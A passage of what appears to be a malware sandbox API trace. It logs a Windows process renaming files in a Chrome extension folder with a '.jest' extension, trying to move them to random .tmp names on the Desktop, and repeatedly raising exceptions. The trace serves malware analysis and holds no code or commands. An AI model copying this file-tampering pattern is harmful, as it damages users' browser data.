MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436ab4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.377] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.377] GetFullPathNameA (in: lpFileName="IV35ecBW4X8KWVEHTLL975z284SyeloKVTTW34KJF3zJ_drLIxy1geFeHqBT20rMlURhXKYALcqgb--FxV3LANimkwCiQP1ODFrQ.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IV35ecBW4X8KWVEHTLL975z284SyeloKVTTW34KJF3zJ_drLIxy1geFeHqBT20rMlURhXKYALcqgb--FxV3LANimkwCiQP1ODFrQ.tmp", lpFilePart=0x18e6e4*="IV35ecBW4X8KWVEHTLL975z284SyeloKVTTW34KJF3zJ_drLIxy1geFeHqBT20rMlURhXKYALcqgb--FxV3LANimkwCiQP1ODFrQ.tmp") returned 0x8e [0150.377] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IV35ecBW4X8KWVEHTLL975z284SyeloKVTTW34KJF3zJ_drLIxy1geFeHqBT20rMlURhXKYALcqgb--FxV3LANimkwCiQP1ODFrQ.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x35335649, cFileName="ecBW4X8KWVEHTLL975z284SyeloKVTTW34KJF3zJ_drLIxy1geFeHqBT20rMlURhXKYALcqgb--FxV3LANimkwCiQP1ODFrQ.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.377] GetLastError () returned 0x2 [0150.377] GetLastError () returned 0x2 [0150.377] SetLastError (dwErrCode=0x2) [0150.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436ab4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.378] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.382] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.383] CoFreeUnusedLibraries () [0150.383] GetTickCount () returned 0x11575eb [0150.383] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.383] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.383] GetTickCount () returned 0x11575eb [0150.383] IsWindowVisible (hWnd=0x30268) returned 0 [0150.383] Sleep (dwMilliseconds=0x0) [0150.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.383] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.384] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.jest")) returned 1 [0150.387] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png", lpFilePart=0x18e6d8*="icon_128.png") returned 0x8a [0150.387] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x140, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1410150, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x146ad80, nFileSizeHigh=0x14520f0, nFileSizeLow=0x146c828, dwReserved0=0xe2, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.388] GetLastError () returned 0x2 [0150.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.388] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.388] VarBstrFromR4 (in: fltIn=0x47945009, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.07") returned 0x0 [0150.389] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.389] CoFreeUnusedLibraries () [0150.389] GetTickCount () returned 0x11575eb [0150.389] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.389] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.389] GetTickCount () returned 0x11575eb [0150.389] IsWindowVisible (hWnd=0x30268) returned 0 [0150.389] Sleep (dwMilliseconds=0x0) [0150.390] GetFullPathNameA (in: lpFileName="pV-Fkcerv4 5d6jw5KSVgTCOMjXfRUVHeukHbNeQ-93l_6W Rwvizm9eo5PE8Si8w Jgs94OdP_Wf1bTbZ7PlJDOd5e3ylrwzwVh.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pV-Fkcerv4 5d6jw5KSVgTCOMjXfRUVHeukHbNeQ-93l_6W Rwvizm9eo5PE8Si8w Jgs94OdP_Wf1bTbZ7PlJDOd5e3ylrwzwVh.tmp", lpFilePart=0x18e708*="pV-Fkcerv4 5d6jw5KSVgTCOMjXfRUVHeukHbNeQ-93l_6W Rwvizm9eo5PE8Si8w Jgs94OdP_Wf1bTbZ7PlJDOd5e3ylrwzwVh.tmp") returned 0x8e [0150.390] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png", lpFilePart=0x18e708*="icon_128.png") returned 0x8a [0150.390] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pV-Fkcerv4 5d6jw5KSVgTCOMjXfRUVHeukHbNeQ-93l_6W Rwvizm9eo5PE8Si8w Jgs94OdP_Wf1bTbZ7PlJDOd5e3ylrwzwVh.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pv-fkcerv4 5d6jw5ksvgtcomjxfruvheukhbneq-93l_6w rwvizm9eo5pe8si8w jgs94odp_wf1btbz7pljdod5e3ylrwzwvh.tmp")) returned 0 [0150.390] GetLastError () returned 0x2 [0150.391] GetLastError () returned 0x2 [0150.391] SetLastError (dwErrCode=0x2) [0150.391] GetLastError () returned 0x2 [0150.391] SetLastError (dwErrCode=0x2) [0150.391] GetLastError () returned 0x2 [0150.391] SetLastError (dwErrCode=0x2) [0150.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55bc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.391] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.391] GetFullPathNameA (in: lpFileName="pV-Fkcerv4 5d6jw5KSVgTCOMjXfRUVHeukHbNeQ-93l_6W Rwvizm9eo5PE8Si8w Jgs94OdP_Wf1bTbZ7PlJDOd5e3ylrwzwVh.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pV-Fkcerv4 5d6jw5KSVgTCOMjXfRUVHeukHbNeQ-93l_6W Rwvizm9eo5PE8Si8w Jgs94OdP_Wf1bTbZ7PlJDOd5e3ylrwzwVh.tmp", lpFilePart=0x18e6e4*="pV-Fkcerv4 5d6jw5KSVgTCOMjXfRUVHeukHbNeQ-93l_6W Rwvizm9eo5PE8Si8w Jgs94OdP_Wf1bTbZ7PlJDOd5e3ylrwzwVh.tmp") returned 0x8e [0150.391] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pV-Fkcerv4 5d6jw5KSVgTCOMjXfRUVHeukHbNeQ-93l_6W Rwvizm9eo5PE8Si8w Jgs94OdP_Wf1bTbZ7PlJDOd5e3ylrwzwVh.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x462d5670, cFileName="kcerv4 5d6jw5KSVgTCOMjXfRUVHeukHbNeQ-93l_6W Rwvizm9eo5PE8Si8w Jgs94OdP_Wf1bTbZ7PlJDOd5e3ylrwzwVh.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.392] GetLastError () returned 0x2 [0150.392] GetLastError () returned 0x2 [0150.392] SetLastError (dwErrCode=0x2) [0150.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55bc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.392] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.392] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.393] CoFreeUnusedLibraries () [0150.393] GetTickCount () returned 0x11575fb [0150.393] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.393] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.393] GetTickCount () returned 0x11575fb [0150.393] IsWindowVisible (hWnd=0x30268) returned 0 [0150.393] Sleep (dwMilliseconds=0x0) [0150.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.394] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.394] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.jest")) returned 1 [0150.395] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png", lpFilePart=0x18e6d8*="icon_16.png") returned 0x89 [0150.395] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x140, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1410150, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x146ad80, nFileSizeHigh=0x14520f0, nFileSizeLow=0x146c828, dwReserved0=0xe2, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.395] GetLastError () returned 0x2 [0150.395] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.395] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.395] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.396] VarBstrFromR4 (in: fltIn=0x4794500b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.09") returned 0x0 [0150.396] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.396] CoFreeUnusedLibraries () [0150.396] GetTickCount () returned 0x11575fb [0150.396] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.396] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.397] GetTickCount () returned 0x11575fb [0150.397] IsWindowVisible (hWnd=0x30268) returned 0 [0150.397] Sleep (dwMilliseconds=0x0) [0150.397] GetFullPathNameA (in: lpFileName="RSj6jAQOXDJwOX9ioGJGJ6h5MfRsvUGKbziiVpSygpgO nNKAdE0ccU lWWOdUHHSuZ3LBLTm7JIFWgU29TTdamC9Ol6WTlxyLA.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RSj6jAQOXDJwOX9ioGJGJ6h5MfRsvUGKbziiVpSygpgO nNKAdE0ccU lWWOdUHHSuZ3LBLTm7JIFWgU29TTdamC9Ol6WTlxyLA.tmp", lpFilePart=0x18e708*="RSj6jAQOXDJwOX9ioGJGJ6h5MfRsvUGKbziiVpSygpgO nNKAdE0ccU lWWOdUHHSuZ3LBLTm7JIFWgU29TTdamC9Ol6WTlxyLA.tmp") returned 0x8d [0150.398] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png", lpFilePart=0x18e708*="icon_16.png") returned 0x89 [0150.398] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RSj6jAQOXDJwOX9ioGJGJ6h5MfRsvUGKbziiVpSygpgO nNKAdE0ccU lWWOdUHHSuZ3LBLTm7JIFWgU29TTdamC9Ol6WTlxyLA.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rsj6jaqoxdjwox9iogjgj6h5mfrsvugkbziivpsygpgo nnkade0ccu lwwoduhhsuz3lbltm7jifwgu29ttdamc9ol6wtlxyla.tmp")) returned 0 [0150.398] GetLastError () returned 0x2 [0150.398] GetLastError () returned 0x2 [0150.398] SetLastError (dwErrCode=0x2) [0150.398] GetLastError () returned 0x2 [0150.398] SetLastError (dwErrCode=0x2) [0150.398] GetLastError () returned 0x2 [0150.398] SetLastError (dwErrCode=0x2) [0150.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7ec, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.399] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.399] GetFullPathNameA (in: lpFileName="RSj6jAQOXDJwOX9ioGJGJ6h5MfRsvUGKbziiVpSygpgO nNKAdE0ccU lWWOdUHHSuZ3LBLTm7JIFWgU29TTdamC9Ol6WTlxyLA.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RSj6jAQOXDJwOX9ioGJGJ6h5MfRsvUGKbziiVpSygpgO nNKAdE0ccU lWWOdUHHSuZ3LBLTm7JIFWgU29TTdamC9Ol6WTlxyLA.tmp", lpFilePart=0x18e6e4*="RSj6jAQOXDJwOX9ioGJGJ6h5MfRsvUGKbziiVpSygpgO nNKAdE0ccU lWWOdUHHSuZ3LBLTm7JIFWgU29TTdamC9Ol6WTlxyLA.tmp") returned 0x8d [0150.399] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RSj6jAQOXDJwOX9ioGJGJ6h5MfRsvUGKbziiVpSygpgO nNKAdE0ccU lWWOdUHHSuZ3LBLTm7JIFWgU29TTdamC9Ol6WTlxyLA.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x366a5352, cFileName="jAQOXDJwOX9ioGJGJ6h5MfRsvUGKbziiVpSygpgO nNKAdE0ccU lWWOdUHHSuZ3LBLTm7JIFWgU29TTdamC9Ol6WTlxyLA.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.399] GetLastError () returned 0x2 [0150.399] GetLastError () returned 0x2 [0150.399] SetLastError (dwErrCode=0x2) [0150.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.400] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7ec, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.400] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.400] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.400] CoFreeUnusedLibraries () [0150.400] GetTickCount () returned 0x11575fb [0150.400] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.400] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.400] GetTickCount () returned 0x11575fb [0150.401] IsWindowVisible (hWnd=0x30268) returned 0 [0150.401] Sleep (dwMilliseconds=0x0) [0150.401] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.401] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436ab4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.401] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.402] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.jest")) returned 1 [0150.403] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html", lpFilePart=0x18e6d8*="main.html") returned 0x87 [0150.403] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x146ad80, nFileSizeHigh=0x14520f0, nFileSizeLow=0x0, dwReserved0=0xe2, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.403] GetLastError () returned 0x2 [0150.403] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.403] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436ab4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.403] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.403] VarBstrFromR4 (in: fltIn=0x4794500b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.09") returned 0x0 [0150.404] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.404] CoFreeUnusedLibraries () [0150.404] GetTickCount () returned 0x11575fb [0150.404] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 